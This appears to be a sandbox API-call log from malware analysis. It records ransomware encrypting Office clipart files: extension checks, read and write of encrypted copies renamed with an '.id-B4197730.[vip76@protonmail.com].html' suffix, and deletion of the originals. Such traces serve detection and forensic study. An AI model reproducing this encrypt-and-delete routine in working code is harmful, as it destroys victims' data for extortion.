	[0072.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.162] lstrlenW (lpString=".doc") returned 4
	[0072.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.162] lstrlenW (lpString=".docx") returned 5
	[0072.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.162] lstrlenW (lpString=".pdf") returned 4
	[0072.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.162] lstrlenW (lpString=".xls") returned 4
	[0072.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.163] lstrlenW (lpString=".xlsx") returned 5
	[0072.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.163] lstrlenW (lpString=".ppt") returned 4
	[0072.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.163] lstrlenW (lpString=".zip") returned 4
	[0072.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.163] lstrlenW (lpString=".rar") returned 4
	[0072.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.163] lstrlenW (lpString=".bz2") returned 4
	[0072.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.163] lstrlenW (lpString=".7z") returned 3
	[0072.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.163] lstrlenW (lpString=".dbf") returned 4
	[0072.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.163] lstrlenW (lpString=".1cd") returned 4
	[0072.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.163] lstrlenW (lpString=".jpg") returned 4
	[0072.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.163] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.163] lstrlenW (lpString="AN04225_.WMF") returned 12
	[0072.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.164] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=8492) returned 1
	[0072.164] CloseHandle (hObject=0x328) returned 1
	[0072.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220
	[0072.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.164] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.164] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.165] GetLastError () returned 0x0
	[0072.165] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x212c, lpOverlapped=0x0) returned 1
	[0072.167] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2130, lpOverlapped=0x0) returned 1
	[0072.168] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.168] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.168] SetEndOfFile (hFile=0x38c) returned 1
	[0072.168] CloseHandle (hObject=0x38c) returned 1
	[0072.169] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.169] SetEndOfFile (hFile=0x328) returned 1
	[0072.170] CloseHandle (hObject=0x328) returned 1
	[0072.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1
	[0072.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.170] lstrlenW (lpString=".doc") returned 4
	[0072.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.171] lstrlenW (lpString=".docx") returned 5
	[0072.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.171] lstrlenW (lpString=".pdf") returned 4
	[0072.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.171] lstrlenW (lpString=".xls") returned 4
	[0072.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.171] lstrlenW (lpString=".xlsx") returned 5
	[0072.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.171] lstrlenW (lpString=".ppt") returned 4
	[0072.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.171] lstrlenW (lpString=".zip") returned 4
	[0072.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.171] lstrlenW (lpString=".rar") returned 4
	[0072.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.171] lstrlenW (lpString=".bz2") returned 4
	[0072.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.171] lstrlenW (lpString=".7z") returned 3
	[0072.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.171] lstrlenW (lpString=".dbf") returned 4
	[0072.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.171] lstrlenW (lpString=".1cd") returned 4
	[0072.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.171] lstrlenW (lpString=".jpg") returned 4
	[0072.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.171] lstrlenW (lpString=".doc") returned 4
	[0072.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.172] lstrlenW (lpString=".docx") returned 5
	[0072.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.172] lstrlenW (lpString=".pdf") returned 4
	[0072.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.172] lstrlenW (lpString=".xls") returned 4
	[0072.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.172] lstrlenW (lpString=".xlsx") returned 5
	[0072.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.172] lstrlenW (lpString=".ppt") returned 4
	[0072.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.172] lstrlenW (lpString=".zip") returned 4
	[0072.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.172] lstrlenW (lpString=".rar") returned 4
	[0072.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.172] lstrlenW (lpString=".bz2") returned 4
	[0072.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.172] lstrlenW (lpString=".7z") returned 3
	[0072.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.172] lstrlenW (lpString=".dbf") returned 4
	[0072.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.172] lstrlenW (lpString=".1cd") returned 4
	[0072.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0072.172] lstrlenW (lpString=".jpg") returned 4
	[0072.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.172] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.173] lstrlenW (lpString="AN04235_.WMF") returned 12
	[0072.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.173] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=7804) returned 1
	[0072.173] CloseHandle (hObject=0x328) returned 1
	[0072.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220
	[0072.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.174] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.174] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.174] GetLastError () returned 0x0
	[0072.174] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1e7c, lpOverlapped=0x0) returned 1
	[0072.747] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0072.748] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.749] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.749] SetEndOfFile (hFile=0x38c) returned 1
	[0072.749] CloseHandle (hObject=0x38c) returned 1
	[0072.750] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.750] SetEndOfFile (hFile=0x328) returned 1
	[0072.751] CloseHandle (hObject=0x328) returned 1
	[0072.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1
	[0072.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.751] lstrlenW (lpString=".doc") returned 4
	[0072.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.751] lstrlenW (lpString=".docx") returned 5
	[0072.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.751] lstrlenW (lpString=".pdf") returned 4
	[0072.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.752] lstrlenW (lpString=".xls") returned 4
	[0072.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.752] lstrlenW (lpString=".xlsx") returned 5
	[0072.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.752] lstrlenW (lpString=".ppt") returned 4
	[0072.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.752] lstrlenW (lpString=".zip") returned 4
	[0072.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.752] lstrlenW (lpString=".rar") returned 4
	[0072.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.752] lstrlenW (lpString=".bz2") returned 4
	[0072.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.752] lstrlenW (lpString=".7z") returned 3
	[0072.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.752] lstrlenW (lpString=".dbf") returned 4
	[0072.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.752] lstrlenW (lpString=".1cd") returned 4
	[0072.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.752] lstrlenW (lpString=".jpg") returned 4
	[0072.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.752] lstrlenW (lpString=".doc") returned 4
	[0072.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.752] lstrlenW (lpString=".docx") returned 5
	[0072.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.752] lstrlenW (lpString=".pdf") returned 4
	[0072.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.753] lstrlenW (lpString=".xls") returned 4
	[0072.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.753] lstrlenW (lpString=".xlsx") returned 5
	[0072.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.753] lstrlenW (lpString=".ppt") returned 4
	[0072.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.753] lstrlenW (lpString=".zip") returned 4
	[0072.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.753] lstrlenW (lpString=".rar") returned 4
	[0072.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.753] lstrlenW (lpString=".bz2") returned 4
	[0072.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.753] lstrlenW (lpString=".7z") returned 3
	[0072.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.753] lstrlenW (lpString=".dbf") returned 4
	[0072.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.753] lstrlenW (lpString=".1cd") returned 4
	[0072.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0072.753] lstrlenW (lpString=".jpg") returned 4
	[0072.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.753] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.753] lstrlenW (lpString="BD00116_.WMF") returned 12
	[0072.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.825] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4870) returned 1
	[0072.825] CloseHandle (hObject=0x328) returned 1
	[0072.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220
	[0072.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.834] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.834] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.835] GetLastError () returned 0x0
	[0072.835] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1306, lpOverlapped=0x0) returned 1
	[0072.837] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1310, lpOverlapped=0x0) returned 1
	[0072.838] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.838] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.838] SetEndOfFile (hFile=0x38c) returned 1
	[0072.838] CloseHandle (hObject=0x38c) returned 1
	[0072.839] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.839] SetEndOfFile (hFile=0x328) returned 1
	[0072.840] CloseHandle (hObject=0x328) returned 1
	[0072.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1
	[0072.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.841] lstrlenW (lpString=".doc") returned 4
	[0072.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.841] lstrlenW (lpString=".docx") returned 5
	[0072.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.841] lstrlenW (lpString=".pdf") returned 4
	[0072.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.841] lstrlenW (lpString=".xls") returned 4
	[0072.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.841] lstrlenW (lpString=".xlsx") returned 5
	[0072.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.841] lstrlenW (lpString=".ppt") returned 4
	[0072.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.841] lstrlenW (lpString=".zip") returned 4
	[0072.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.841] lstrlenW (lpString=".rar") returned 4
	[0072.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.841] lstrlenW (lpString=".bz2") returned 4
	[0072.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.841] lstrlenW (lpString=".7z") returned 3
	[0072.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.841] lstrlenW (lpString=".dbf") returned 4
	[0072.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.841] lstrlenW (lpString=".1cd") returned 4
	[0072.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.841] lstrlenW (lpString=".jpg") returned 4
	[0072.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
